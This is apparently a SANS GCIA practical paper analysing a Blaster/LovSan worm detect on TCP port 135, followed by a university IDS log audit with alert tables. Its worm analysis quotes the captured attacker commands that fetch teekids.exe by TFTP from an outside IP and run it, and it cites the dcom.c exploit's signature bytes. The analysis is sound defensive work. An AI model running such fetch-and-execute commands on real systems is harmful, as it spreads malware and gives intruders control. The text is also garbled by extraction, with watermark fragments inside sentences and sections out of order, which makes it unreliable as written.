Through a successful attack of this type, an attacker would be able to obtain admin privileges in the system, therefore having complete control of it. So, after a successful attack, the system will be totally compromised. The original vulnerability was discovered by LSD (Last Stage of Delirium) 40 , on July 16th, 2003, therefore they published a really good analysis about it 41 42 . Snort provides a CVE [CVE1] reference about the vulnerability that the packets that triggered the alert is trying to exploit 43 . The vulnerability is based on a buffer overow in certain DCOM interface for RPC in Microsoft Windows versions. CVE provides several additional useful references. There are also some Bugtraq [BUGT1] references 44 . CERT also released two security advisories due to the huge and critical impact associated to the enormous Internet Windows installed base 45 46 . Finally, the same vulnerability has been exploited by different worm variants, such as Blaster, MSblast, LovSAN, Nachi and Welchia. The teekids.exe le is associated to the LovSan variant, also known as Blaster.C or C version. The following documents describe how to detect, clean, patch and understand the worm actions and purpose: W32/Lovsan.worm.c 47 , Blaster.C 48 , W32.Blaster.C.Worm 49 (best description), WORM MSBLAST.GEN 50 and W32/Lovsan.C 51 . CERT generated a specic advisory for the Blaster worms variants 52 . The following antivirus websites has been selected to get the information as53 54 sociatedfingerprint = AF19 FA27 2F94 998Ddetect: DE3D F8B5 06E4 A169 Symantec Key to the worm that generated the FDB5 McAfee , Panda , 4E46 55 56 57 , TrendMicro and VS Antivirus . More information about all the mentioned
04
,A
62
ut
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
worms can be found there. Given the fact that in the described environment the local system (Windows 2000 SP4) was not vulnerable to this attack, a specially customized layout was prepared to get as much information as possible of this type of threat and to identify the specic worm variant (described in the next section).
2.3.5
Attack mechanism
The detect was generated due to an attempt to exploit a Windows DCE RPC vulnerability announced in a Microsoft Security Bulletin: MS003-26. The originator was a host infected by the LovScan.C worm, the one using the teekids.exe le. In order to understand the attack associated to the huge amount of attempts received against TCP port 135, a special environment was set up, conguring the host rewall to allow trafc addressed to the ports used after launching the RPC command (see below). The conguration changes will be shown along the attack description. This RPC attack is based on establishing a TCP connection through the 3way handshake and sending the packet that triggered this detect, and RPC bind attempt. Once acknowledged, the attacker sends an RPC request packet using the same TCP session. This RPC command is divided in two TCP packets because its length; rst one Keyhas 1514 bytes (the maximum Ethernet DE3D including the Ethernet header (14 fingerprint = AF19 FA27 2F94 998D FDB5 MTU F8B5 06E4 A169 4E46 bytes)): 20 (IP hdr.), 20 (TCP hdr.) plus 1460 (TCP payload) - RPC header plus 1436 bytes of RPC payload (Stub Data). Then a second TCP packet is received with a payload of 244 bytes associated to the rest of the RPC operation. The second RPC request has the RPC header (obtained through Ethereal) of gure 2.27. Both RPC commands conforms the exploit. Finally the TCP session is closed. The problem is due to insufcient bounds checking of client DCOM object activation requests. Exploitation of this issue could result in execution of malicious instructions with Local System privileges on an affected system. Based on the complete network audit trail it was observed that, in this detect, 0.4 seconds after closing the TCP connection a second TCP session was established from the same source host, addressed to TCP port 4444. The previous session pretended to open a backdoor in this port exploiting the Windows RPC vulnerability. In order to simulate a vulnerable host, netcat [NETC1] was congured to listen in port 4444 of the internal host to receive all trafc. Specically, the attacker established the new TCP session and launched the following command: tftp -i 80.35.183.163 GET teekids.exe.
SA
NS
In
sti
tu
te
20
04
,A
ut
ho
rr
63
eta
ins
fu ll r igh ts.

DCE RPC Version: 5 Version (minor): 0 Packet type: Request (0) Packet Flags: 0x03 0... .... = Object: Not set .0.. .... = Maybe: Not set ..0. .... = Did Not Execute: Not set ...0 .... = Multiplex: Not set .... 0... = Reserved: Not set .... .0.. = Cancel Pending: Not set .... ..1. = Last Frag: Set .... ...1 = First Frag: Set Data Representation: 10000000 Byte order: Little-endian (1) Character: ASCII (0) Floating-point: IEEE (0) Frag Length: 1704 Auth Length: 0 Call ID: 229 Alloc hint: 1680 Context ID: 1 Opnum: 4 Stub data (1436 bytes) ... (244 bytes)
Raul Siles - GCIA
Therefore, the opened backdoor seems to be a Windows command prompt thatKey fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5Windows TFTP client allows to launch commands remotely. In this case, the 06E4 A169 4E46 to retrieve a binary le called teekids.exe. Then, the attacker tries to run the new le using the command start teekids.exe and teekids.exe. This le is the worm itself. All these actions are executed atomically, without error checking, because the netcat process running didnt generate the expected output, if any; it just received the data. The worm uses TCP ports 135 and 4444. First one is used to exploit the vulnerability and second one to provide a network backdoor. It also uses UDP port 69, because the TFTP service is used as a transport/copy mechanism. Some variants of the teekids worm introduce the index.exe and the root32.exe les in the target system. There are several tools, not only worms, implementing this attack, freely available on Internet. Since the vulnerability was found, lots of exploits were made public. Initially a DoS exploit appeared and then a shell exploit, the one used by
SA
NS
In
sti
tu
te
20
04
,A
64
ut
Figure 2.27: Second RPC request packet header
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
2.3.6
Correlations
http://www.securityfocus.com/bid/8205/exploit/ http://www.k-otik.com/exploits/07.21.win2kdos.c.php 60 http://www.k-otik.com/exploits/07.25.winrpcdcom.c.php 61 http://lists.netsys.com/pipermail/full-disclosure/2003-July/thread.html 62 http://lists.netsys.com/pipermail/full-disclosure/2003-July/007092.html 63 http://cert.uni-stuttgart.de/archive/intrusions/2003/08/msg00234.html 64 http://www.appliedwatch.com/ehines_gcia_detect1.pdf 65 http://www.dshield.org/topports.php 66 http://www.dshield.org/port_report.php?port=135

59
58
SA
The Snort alert appeared in Google 3 times (2 of them contain the same data) the 3rd of Dec. 2003: - Jason Bowen analyzed the Welchia variant in his GCIA Practical 63 . - Eric S. Hines analyzed the alert in his GCIA practical, but the exploit is used by a hacker and not by a worm 64 . Due to the huge expansion of this worms, Blaster, and its variants since it was created, August 2003, it has no sense to analyze some specic references about people getting incoming connections associated to it. Instead it has more sense to provide a set of Internet references that could help in knowing the Internet virus status and health, plus some statistics about this threat (all statistics were extracted the 3rd of Dec of 2003): DShield: AF19 FA27 2F94 998D FDB5 Key fingerprint = http://www.dshield.org/ DE3D F8B5 06E4 A169 4E46 Even nowadays the top most attacked port is TCP 135 65 . The reports about this port 66 associate to it 3 different vulnerabilities that are being exploited: CAN-20030605, 0528 and 0352. Virus Map: http://www.trendmicro.com/map/ Number of virus incidents reported by region and/or country, being possible to specify a time period. During the past 30 days, MSBlast.A appeared 23,145 times in Europe (3rd place). Summary reports: http://wtc.trendmicro.com/wtc/summary.asp Numbers by month and virus type. For example, MSBlast.A, hit 227,255 times in October 2003 (2nd position).
NS
In
sti
tu
te
20
04
,A
ut
ho
rr
65
eta
ins
fu ll r igh ts.
the worms 58 , then a DoS exploit 59 , a shell exploit 60 all referenced in this thread 61 (very busy during July 2003). This list includes one of the rst RPC exploit released (dcom.c), used later by several worms as the one involved in this detect. It is based in the original LSD proof-of-concept code and uses the TCP port 4444 62 . The hexadecimal strings placed inside the C-language code contain the string searched by Snort, 0a 01 00 00 00 00 00 00 c0 00 00 00 00 00 00 46.
Raul Siles - GCIA
2.3.7
http://mastdb2.mcafee.com/VirusMap3.asp?Cmd=Map\&b=NS\&ft=JPEG\&lang=en http://www.pandasoftware.com/virus_info/virusometer/detail.htm 69 http://www.pandasoftware.com/virus_info/map/map.htm 70 http://www.pandasoftware.com/virus_info/map/observatory.htm 71 http://www.pandasoftware.com/virus_info/encyclopedia/overview.aspx?idvirus= 40390&lst=est 72 http://www.dshield.org/ipinfo.php?ip=80.35.183.163

68
67
Most attackers belong to the same class-A network, 80.0.0.0/8, which belongs to different telecom providers based on the whois information:
SA
NS
$ cat alert | grep -F "NETBIOS DCERPC ISystemActivator" -A 5 | \ grep -F "192.168.200.150" | cut -d: -f 1 | sort | uniq -c | sort -rn 48 80.40.129.67 39 80.40.129.66 31 80.38.40.211 29 80.38.36.167 26 80.38.231.39 25 80.37.224.16 20 80.38.36.197 ...
In
sti
tu
te
There was 2771 AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 the Key fingerprint = different infected host launching the same attack against local host. From all these systems it is possible to obtain the top attacker list and how many times they tried this attack during the time period analyzed:
20
04
,A
$ cat alert | grep -F "NETBIOS DCERPC ISystemActivator" -A 5 | \ grep -F "192.168.200.150" | cut -d: -f 1 | sort -u | wc -l 2771
66
ut
ho
The source IP address was run through the database at Dshield.org 72 and no information about active targeting, from or to it, was reported. Although the source host analyzed only launched the attack against the internal host one time, it was interesting to know how many different host generated the same alert in the network analyzed:
rr
eta
ins
fu ll r igh ts.
World Virus Map 67 : Real time worldwide information. Different metrics and time periods allowed. Virusometer 68 , Virus Infection Map 69 and Global Virus Observatory 70 : Blaster.E was in the 3rd position during last month in Europe. Blaster.C specic statistics showing the most affected countries. Spain is one of them, the location where this detect was observed 71 . All numbers are based on the notications received by the different antivirus centers, and cannot be used as an absolute measure, but to compare the different threats.
Raul Siles - GCIA
- RIMA: The network portion referenced on section 3, 80.32.0.0/16, is part of a set of class-B networks owned by the same provider, like 80.37.0.0/16. - UK-TELINCO: Tiscali, located in UK. It owns the top attacker hosts, placed on 80.40.0.0/13.
$ cat alert | grep -F "NETBIOS DCERPC ISystemActivator" -A 5 | \ grep -F "192.168.200.150" | cut -d: -f 1 | cut -d. -f 1,2 | sort |\ uniq -c | sort -r 1704 80.38 1597 80.37 649 80.40 583 80.36 271 80.35 172 80.34 106 80.33 ...
2.3.8
Severity
Criticality: The target system is a home host running Windows 2000 and used mostly as a client system. It contains some important personal information, therefore its value is 2.
73 74
http://www.mycert.org.my/graphs/W32.Blaster_W32.Nachi/blaster_nachi.html http://www.pcsympathy.com/article199.html 75 http://www.washingtonpost.com/ac2/wp-dyn/A64800-2003Aug29?language=printer
SA
NS
In
The owners of these networks are national ISPs, providing high-speed Internet (ADSL) access to end-users. This fact justies why all the end-user systems, Windows based, could be infected by the worm. Due to the high number of systems trying to exploit the same vulnerability against a randomly chosen home systems it seems clear the detect correspond to some type of Internet worm. Most worms select their victims using a random function to generate the destination IP addresses. If there are lots of systems running the function, the probability that some of them generate a specic IP address is very high. As deducted from all the information collected lots of systems Keyconnected = AF19 FA27 2F94 998D FDB5 DE3Dare launching the4E46 fingerprint to Internet have been infected and F8B5 06E4 A169 described attack against the local network, that is, the public IP address associated to the ADSL connection. Rough worldwide Internet numbers for this worm variant can be obtained from the sources provided in the correlation section. Besides, other references contain similar information 73 . The creator of the teekids worm was arrested on August 29, 2003 74 75 .
sti
tu
te
20
04
,A
ut
ho
rr
67
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
Lethality: The vulnerability that the trafc associated to this detect is trying to exploit is really dangerous, and if exploited successfully, will provide remote access with the highest privileges in the system. This fact grants this threat a value of 5. This time this fact is directly associated to the Snort priority value, the highest possible value. System countermeasures: System patches were up to date, having last Windows Service Pack installed, in this case SP 4 for Windows 2000, and also all the individual patches published by Microsoft. This made the system not vulnerable to the attack presented in this detect. System was also running a personal rewall with a not very restrictive policy, such as no egress ltering: all trafc from inside to Internet was allowed. Besides, the ltering solution allowed some services, such as TCP port 21, 22, 53, 80, 135 and 443. Its value is 4. To evaluate the severity of this detect, the special conguration developed in order to let the attack process continue to be able to get all the required information for the analysis (described in section 5) has not been considered. Network countermeasures: There were no perimeter rewall congured, all trafc going to the available public Internet address was redirected to the internal host, without lters. The value associated to this situation is 1. Therefore, based on all the information retrieved, the Severity value is: Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 2 = (2 + 5) (4 + 1)
On the one hand, in order to mitigate or even completely stop the effects of a exploit similar to the one associated to this detect, system patches must be up to date. This is one of the basic defensive countermeasures that can be applied and although it seems obvious and simple, it is not always enforced. Apart from the already commented Microsoft bulletin, MS003-26, in section 4, Microsoft released an update, MS003-39 76 that covered the original vulnerability plus 3 newly discovered RPC vulnerabilities. It is recommended to patch the Windows systems in order to x the referenced vulnerability based on the information available in these Microsoft Security bulletins. The following Microsoft Knowledge Base articles are also a recommended reading to be protected:77 and 78 . The latest Microsoft Security Bulletins and patches
76 77
http://www.microsoft.com/technet/security/bulletin/MS03-039.asp http://support.microsoft.com/?kbid=826369 78 http://support.microsoft.com/?kbid=827363
SA
NS
In
sti
tu
2.3.9
te
20
04
,A
68
ut
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
Following the information provided through the WHOIS service by the source IP address owners, this incident should be reported through the recommended procedures, although in cases of widely spread worms there is no too much the provider could do:
- RIMA: remarks: remarks:
79
http://support.microsoft.com/default.aspx?pr=security http://www.blackviper.com/WIN2K/servicecfg.htm 81 http://www.microsoft.com/security/incident/blast.asp

80
SA
NS
1 Change the default behaviour to Take No Action until a protection has been applied. 2 To avoid be infected, rename the tftp.exe le in order not to transfer the malicious binary. It should be located in C:\Windows\System32\, C:\Winnt\System and/or C:\Windows\System32\dllcache.
*************************************************** For ABUSE/SPAM/INTRUSION issues
In
sti
tu
te
can be found in Microsoft website 79 . On the other hand, those services that are not required in the system must be disabled or at least not being accessible from outside. It is very difcult to determine the real utility and necessity of the RPC service in the Windows operating systems, so the second option is the recommended one. Some pages provide information about the relationship between the Windows services 80 . Therefore, a personal rewall must be installed in all systems enforcing the incoming/outgoing trafc allowed. In this case, TCP port 135 shouldnt be opened to Internet. For this type of worms, the antivirus solutions would be very helpful in determining if a system has been infected by the RPC worms. See all the references provided in section 4. If this is the case, it is recommended not only to clean the system but to rebuild the system using a fresh install, because the system has been compromised with high privileges, and other unknown actions could have been performed, such as installing additional backdoors or keyloggers. Keep yourself as much informed as possible about the worm actions and effects. For example, Microsoft suggests some defensive recommendations in What You Should Know About the Blaster Worm and Its Variants 81 . Once the attack is received, the RPC service is killed, and some Windows versions are congured to shutdown the system if this service is not alive. The Recovery tab associated to the properties menu of this service species the acKeytion that should beFA27 2F94 a failure, Restart the computer. If 4E46 fingerprint = AF19 applied in 998D FDB5 DE3D F8B5 06E4 A169 a system reboots continuously due to the high number of worm attempts, two actions can be accomplished:
20
04
,A
ut
ho
rr
69
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
remarks: remarks: remarks: remarks: remarks: - TISCALI: trouble: trouble:
PLEASE CONTACT THROUGH LINK http://www.telefonicaonline.com/nemesys/ or send mail to nemesys@telefonica.es any mail to adminis.ripe@telefonica.es will be ignored ***************************************************
2.3.10
Which of the following Internet worms propagated during year 2003 would generate the following Snort alert?
[**] [1:2192:1] NETBIOS DCERPC ISystemActivator bind attempt [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] 10/15-07:32:48.342444 0:4:76:94:D3:81 -> 0:C:29:47:E1:7F type:0x800 len:0x7E 80.35.183.163:4011 -> 192.168.200.150:135 TCP TTL:118 TOS:0x0 ID:53361 IpLen:20 DgmLen:112 DF ***AP*** Seq: 0x6BA757B7 Ack: 0xDAF15574 Win: 0xFAF0 TcpLen: 20 [Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352]
SA
NS
In
Explanations: As has been mentioned along this paper, all them exploit the same Windows DCOM RPC vulnerability, although they develop different actions once the target system has been compromised.
sti
tu
te
20
a) Blaster b) LovSan c) Nachi d) Welchia e) All of the above Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 Correct answer: e)
04
,A
70
ut
ho
rr
eta
ins
fu ll r igh ts.
Information: http://www.tiscali.com Concerning abuse and spam ... mailto: abuse@uk.tiscali.com
Chapter 3 Analyze This

3.1 Executive summary
The GIAC University IDS network audit analysis produced a total of 286108 alerts, 1114145 portscans, with more than 11.5 million scan packets (11699719) and 18225 out-of-specs, OOS, during a 5 days period, from 19th to 23rd of October, 2003. Due to the huge amount of information collected, this analysis focuses on describing the information extracted from the different data sources, analyzing the internal network topology, the top alerts, scans and oos, while providing statistical and in depth information for all the relevant selected detects. The most interesting security events will be analyzed in detail.
SA
NS
During the 5 days period analyzed (gure 3.1), it can be seen that on day 22nd at 22:00 was a huge growth in the number of scans, and was kept until 7:00 of day 23rd, for about 15 hours. During this period there were 2 peaks of more than 400 thousands scans per hour. At the end of the analysis there was another peak of more than a quarter million scans. In order to analyze the alert and OOS information, the data was normalized removing the scan events (gure 3.2). After the huge scan period, the number 71
In
sti
Figure 3.1: Number of alerts, scans and OOS over time
tu
te
20
04
,A
ut
ho
rr
eta
ins
fu ll r igh ts.
3.1. EXECUTIVE SUMMARY
Raul Siles - GCIA
SA
NS
Figure 3.2: Number of alerts and OOS over time
In
sti
tu
te
20
04
of alerts increased, from 11:00 of day 23rd until the end of the data analyzed. It seems that all the information obtained through the scanning process was used later trying to exploit potentially found vulnerabilities. From the different fty alerts identied, the analysis was focused on the top eleven most frequent events plus some additional sporadic alerts that could indicate compromised systems, such as IRC trafc, network worms and DDoS tools. Most alert events are associated to portscans and they were analyzed with other scanning activities. Most scanning trafc, 99%, is associated to general scanning processes using the TCP and UDP protocols, although some other non-standard scans were discovered. The top destination target services were RPC (135), DNS (53) and Web (80). Almost all scanning targets belong to a wide number of external networks, and almost all scans were generated from the University network. This type of activities should be reduced in order to mitigate the organization liability. The OOS information logged is negligible compared to the alert or scans data sets. Additionally, the most frequent OOS event is related with one of the most frequent scans types: a TCP SYN packet with the ECN ags set (12****S*). The top 5 destination OOS ports (97%) correspond to Mail (25), Web (80), and IRC trafc (Ultima Online, 8887). The WHOIS public registration information has been extracted for those exterKey fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
,A
72
ut
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA
3.2. SOURCE OF DATA
3.2
The data have been provided by the GIAC university in order to develop a security audit of the information captured by their intrusion detection system. The log les
- Some Windows systems generating lots of potentially evil NetBIOS trafc, MY.NET.80.51, MY.NET.150.133 and MY.NET.150.198. - It is recommended to review the activities associated to MY.NET.30.3 and MY.NET.30.4. - Analyze the relationship between MY.NET.162.41 and one host located in the NASA. - Investigate the conguration of the dynamic address hosts and DHCP enviKey fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 ronments, like 169.254.244.56. - List of possible compromised host by a trojan: MY.NET.190.1, MY.NET.190.2, MY.NET.16.114 and MY.NET.16.106. - It must be investigated the strictly relationship between the University systems and lots of Comcast computers: 68.32.0.0-68.63.255.255. - Back Orice trafc addressed mainly to net MY.NET.190.X. - Two hosts are infected with the MS Blaster worm: MY.NET.163.249 and MY.NET.153.195. - Hosts potentially involved in DDoS activities: MY.NET.84.235, MY.NET.60.163 and MY.NET.24.34. - The top target system for lots of potentially exploit trafc: MY.NET.84.180 (involved in P2P exchanges).
SA
Source of data
NS
In
sti
tu
te
20
04
,A
ut
ho
rr
73
eta
nal IP addresses considered most interesting during the analysis. It must be noted that there are lot of activity associated to Comcast systems, a specic relationship with a system located in the NASA, and other trafc generated from several telecom/Internet providers addresses all over the world (Europe, Asia, America and Iceland). A link graph was generated focusing on one of the top external hosts involved in huge amounts of very different trafc types against MY.NET, 193.114.70.169, located in Europe. For a detailed reference of the most relevant systems involved in the IDS logged activities, different data tables related with the top talkers systems, from inside and outside the local network, have been obtained. There is evidence to consider that several internal systems have been compromised or behave in an unexpected way, so they require immediate investigation in order to evaluate their status and take the appropriate actions:
ins
fu ll r igh ts.
3.3. NETWORK TOPOLOGY
Raul Siles - GCIA
have been downloaded from incidents.org 1 and correspond to 5 consecutive days worth of data. As explained in the URL above: The log les are the result of a Snort instance running in binary logging mode. This means that only the packets that violate the ruleset will appear in the log. The analyzed les belong to a period between 19th and 23rd of October, 2003:
Name alert.031019.gz alert.031020.gz alert.031021.gz alert.031022.gz alert.031023.gz size 2095723 1624229 2383883 3614074 6812139 Name OOS Report OOS Report OOS Report OOS Report OOS Report size 176588 153019 199739 108064 81022
fu ll r igh ts.
2003 2003 2003 2003 2003
10 10 10 10 10
19.gz 20.gz 21.gz 22.gz 23.gz
Name scans.031019.gz scans.031020.gz scans.031021.gz scans.031022.gz scans.031023.gz
size 10462579 8408852 13060702 26665110 38516849
NS
In
The only source of data was the raw log les, therefore some assumptions should be made in order to obtain a generic network topology map. The monitored internal network is a class-B network labeled MY.NET.X.X in the data les. Based on the information logged it is possible to extract some numbers about the existent hosts:
sti
After analyzing all the extracted data, except the scan les, it was conrmed that there were 2613 different MY.NET hosts belonging to 89 different class-C subnets. Correlating the information between the scan les and the alerts, spp portscans and OOS it was conrmed that MY.NET.X.X is the network 130.85.X.X. The scan
1
http://www.incidents.org/logs
Log type Alerts spp portscans Scans (not MY.NET) OOS
tu
te
20
Key fingerprint = topology 3.3 NetworkAF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
04
,A
74
The les had an initial number of entries but some of them were corrupted, so they were preprocessed in order to remove the invalid entries before populating the database, not to loose events of interest. NOTE: The preprocesing process has not been included to reduce the paper length due to GIAC length constraints. It is assumed that a recent Snort version was used to trigger the alerts, so the Snort ruleset from 9th of December of 2003 was used to match the signatures found [RULE1].
ut
ho
# src 947 310 310 2
SA
rr
eta
# dst 2421 N/A 16695 102
ins
Raul Siles - GCIA
Based on all this information the following assumptions were made: - Using the alert FTP passwd attempt, similar to the default Snort alert FTP passwd retrieval attempt (ftp.rules), it is possible to identify several FTP servers, all them placed in net MY.NET.24.X: .9, .13, .18, .19, 27 and Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 .47. The existence of a FTP server in MY.NET.24.27 seems to be conrmed by the different attempts from several sources to exploit a ftpd vulnerability: FTP DoS ftpd globbing. - There are specic alerts detecting FTP access to Helpdesk: External FTP to HelpDesk MY.NET.X.X, addressed to port 21. Therefore it seems there are 2 internal class-C networks, 53 and 70, that contain 3 systems associated to HelpDesk tasks: MY.NET.53.29, MY.NET.70.49 and MY.NET.70.50. Besides, at least one HelpDesk host is monitored when accessing external FTP servers, HelpDesk MY.NET.70.49 to External FTP. This alert was triggered 5 times trying to access 3 different FTP servers: 216.49.88.143, 205.227.136.41 and 64.15.251.196. - There is a TFTP server in MY.NET.24.44 generating trafc from TCP port 69 to 64.209.74.229: TFTP - External TCP connection to internal tftp server.
2 3
http://www.umbc.edu http://www.umbc.edu/oit/sans/physnet/noc/ 4 http://resnet.umbc.edu/resnet_layout.html
SA
NS
In
sti
tu
te
20
04
,A
ut
ho
rr
75
- On the one hand the destination addresses and ports were visualized trying to guess valid requests received by the internal systems, although this information can potentially generate false statements. - On the other hand, the source data was used to analyze the trafc generated by the internal systems.
eta
ins
fu ll r igh ts.
les have not been sanitized so this data les provided a new set of destination hosts scanned. The University network MY.NET (class-B 130.85) belong in the real world to the University of Maryland, Baltimore County (UMBC 2 ) as its summarized in the whois information extracted from ARIN [ARIN1]. This is the reason why some of the customized alerts contain the strings [UMBC NIDS] or [UMBC NIDS IRC Alert]. Although not used at all along this paper, the UMBC web page provide information about their network and equipment 3 and the residential network (ResNet) they manage 4 . All the different alert types were analyzed with the goal of determining the services offered by the internal hosts. Two types of information were analyzed:
Raul Siles - GCIA
- Initially it seems there were some NTP servers based on alert EXPLOIT NTPDX buffer overflow (see Snort exploit.rules, EXPLOIT ntpdx overflow attempt), mainly located in MY.NET.152 and .153 nets. It was conrmed that the detects belong to evil trafc:
- There are 2 POP3 (110) mail servers: MY.NET.60.17 and MY.NET.12.4. - There are lots of Windows systems generating trafc from port 137. These systems belong to 46 different MY.NET subnets, being the top talkers subnets Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 MY.NET.53, MY.NET.75 and MY.NET.153.
As can be appreciated, network MY.NET.24.X contain lots of servers accessible from Internet, so it is probably some kind of DMZ network. This information was correlated with the different alerts captured for these hosts. Finally, the sensor seems to be located in a border network due to the overall alert categorization and the lack of alerts involving at the same time source and destination addresses of MY.NET. Only some OOS packets are inside this type of trafc, all generated by MY.NET.216.50.
SA
NS
- There are several Web (80) servers: MY.NET.24.34, MY.NET.100.165, MY.NET.24.44, MY.NET.29.3, MY.NET.5.20, MY.NET.162.67, MY.NET.60.14 and MY.NET.150.83.
In
sti
- There are 3 HTTPS (443) Web servers: MY.NET.24.74, MY.NET.12.7 and MY.NET.24.33.
tu
te
- There are 2 SMTP (25) mail servers: MY.NET.12.6 and MY.NET.24.20.
20
04
,A
76
ut
ho
- Additionally there are lot of IRC trafc that must be investigated (see Alert #12).
rr
- Based on the alert messages there are some specic networks, such as MY.NET.30.4 and MY.NET.30.3. Their specic purpose will be analyzed during Alert #3 description. Network MY.NET.30.X is mainly populated by Windows and Novell hosts.
eta
ins
fu ll r igh ts.
False positives could be identied based on source port. NTP trafc used to go from port 123 to port 123. Therefore, only the hosts receiving this trafc would be NTP servers. Checking the source systems to conrm NTP relationships there was no normal NTP trafc. The originators are dynamic IP addresses or streaming servers (lwmod20.sjc.streamos.com), Yahoo caches (l8.cache.vip.dal.yahoo.com) or portal servers (winserver1.bharath.com) that probably have been compromised.
Raul Siles - GCIA
3.4. LIST OF TOP DETECTS (ALERTS)
3.4
List of top detects (alerts)
3.4.1
Alert #1: SMB Name Wildcard
Message: SMB Name Wildcard (count: 199026) SID: custom Snort ruleset: netbios.rules Priority/Category: Recon References: http://www.whitehats.com/info/IDS177 Number src.int. /src.ext. /dst. int. /dst. ext.: 884/0/0/132215 (all outgoing) This alert message corresponds to normal NetBIOS name resolution trafc, therefore all alerts match trafc that goes to TCP port 137. This trafc is commonly associated to Windows networks and it allows listing the resources available for sharing in a computer. All the captured events were originated from MY.NET network addressed to thousands of external systems. The distribution of this trafc based on the destination system is very high, that is, lots of different systems received this trafc (132215). This pattern used to be associated to some kind of worm random spread activities. Due to the fact that there are no source external addresses, it seems the University perimeter devices are dropping the inbound NetBIOS trafc. The main portion of this trafc has been generated from the following top 5 internal sources, addressed to several distinct destinations (table 3.2).
SA
NS
In
sti
tu
te
20
04
Apart from that, a basic comparison against the SANS Top 20 vulnerabilities [TOP20] was made, but only the External RPC call matched one of these vulnerabilities, the U2. All other typical Windows and Unix services exploitation dont seem to be detected in these logs. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
,A
ut
ho
- Frequency : detects above one thousand entries will be analyzed in order to reduce the amount of IDS noise they generate and to minimize the impact of a potential dangerous detect. It is important to evaluate if they belong to normal trafc, therefore they are false positives, or if they are part of high rates of evil activity. - Criticality: detects that belong to activities that show signs of compromised systems will be analyzed. At least a basic analysis should be made over the trafc associated to IRC, worms, backdoors, DDoS tools...
rr
77
eta
ins
fu ll r igh ts.
The events triggered make a total of 50 different non-corrupted alerts. The top 20 list of detects and the number of alerts, source and destination systems and ports are shown in table 3.1. Analyzing specically the alert information, there are 50 different alert types, from 4233 different sources addressed to 136429 different destinations. Of those, 947 sources and 2421 destinations belong to the internal University network. The detects were selected for an in depth analysis following these criteria:

attack SMB Name Wildcard SMB C access MY.NET.30.4 activity EXPLOIT x86 NOOP connect to 515 from inside MY.NET.30.3 activity TCP SRC and DST outside network External RPC call High port 65535 tcp - possible Red Worm - trafc Possible trojan server activity ICMP SRC and DST outside network NMAP TCP ping! SUNRPC highport access! Null scan! High port 65535 udp - possible Red Worm - trafc [ UMBC NIDS IRC Alert [ IRC user /kill detected, po [ UMBC NIDS IRC Alert ] XDCC client detected attemp FTP passwd attempt [ UMBC NIDS ] External MiMail alert Back Orice TFTP - Internal UDP connection to external tftp s Incomplete Packet Fragments Discarded [ UMBC NIDS IRC Alert ] Possible sdbot oodnet det EXPLOIT x86 stealth noop NETBIOS NT NULL session Key fingerprint handler DDOS shaft client to = AF19 FA27 2F94 998D FDB5 [ UMBC NIDS IRC Alert ] Possible drone command dete EXPLOIT x86 setuid 0 EXPLOIT x86 setgid 0 EXPLOIT NTPDX buffer overow FTP DoS ftpd globbing DDOS mstream client to handler TFTP - Internal TCP connection to external tftp s [ UMBC NIDS IRC Alert ] Possible Incoming XDCC Send TFTP - External UDP connection to internal tftp s RFB - Possible WinVNC - 010708-1 Attempted Sun RPC high port access HelpDesk MY.NET.70.49 to External FTP [ UMBC NIDS IRC Alert ] K\:lined user detected, po NIMDA - Attempt to execute cmd from campus host [ UMBC NIDS ] Internal MSBlast Infection Request External FTP to HelpDesk MY.NET.53.29 connect to 515 from outside Trafc from port 53 to port 123 External FTP to HelpDesk MY.NET.70.49 Probable NMAP ngerprint attempt TFTP - External TCP connection to internal tftp s External FTP to HelpDesk MY.NET.70.50 IRC evil - running XDCC [ UMBC NIDS IRC Alert ] Possible trojaned box78 detec
Raul Siles - GCIA

count # src # srcp 199026 884 102 28531 619 7325 15603 447 2697 11557 1412 4590 7126 1 1 5726 100 597 4517 26 984 3265 4 1581 3164 99 22 2006 84 688 1825 102 1 752 150 15 494 20 8 455 60 110 438 75 26 341 49 6 182 4 173 105 35 101 103 48 101 84 2 2 83 17 15 74 57 1 55 7 55 53 10 23 50 3 47 DE3D38 F8B5 06E4 A169 5 1 37 2 1 27 25 24 26 21 16 25 8 13 14 5 7 14 3 2 13 3 2 12 2 1 11 7 7 10 7 7 10 3 4 5 1 5 4 1 2 4 4 4 3 2 1 2 2 2 2 1 2 2 1 1 2 2 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 # dst 132215 959 1 936 1 1 111 1829 111 327 1498 59 25 54 79 51 3 6 1 84 27 46 2 7 12 4E46 2 6 18 20 13 1 2 3 1 7 6 5 3 2 3 3 1 2 1 1 2 2 1 1 1 # dstp 1 1 38 100 1 37 65 1 25 44 1 59 1 29 30 307 1 1 1 1 14 1 4 21 1 1 15 17 23 1 1 2 3 2 1 6 1 1 1 1 3 1 1 1 1 2 2 1 1 1
SA
NS
In
Table 3.1: All alerts detected by the IDS As part of GIAC practical repository.
sti
tu
te
20
04
,A
ut
ho
rr
eta
ins
fu ll r igh ts.
Raul Siles - GCIA

src MY.NET.150.198 MY.NET.84.224 MY.NET.29.2 MY.NET.150.133 MY.NET.80.51 count 474 1290 3099 72063 115590 # dst 234 5 2148 13745 115582

dst 169.254.45.176 199.181.134.74 193.114.70.169 151.197.115.143 198.62.205.6 count 710 878 1208 1251 1265
